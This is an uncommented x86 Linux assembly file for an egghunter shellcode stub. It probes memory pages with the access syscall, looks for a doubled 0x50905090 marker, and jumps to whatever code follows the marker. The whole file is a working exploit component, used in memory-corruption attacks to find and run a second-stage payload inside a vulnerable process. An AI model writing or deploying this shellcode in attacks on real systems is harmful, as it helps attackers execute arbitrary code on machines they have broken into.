global _start

section .text
_start:

        xor ebx, ebx

increment_page:
        or dx, 0xfff

increment_address:
        inc edx
        lea ebx, [edx + 4]
        push +0x21
        pop eax
        int 0x80
        cmp al, 0xf2
        jz increment_page
        mov eax, 0x50905090
        mov edi, edx
        scasd
        jnz increment_address
        scasd
        jnz increment_address
        jmp edi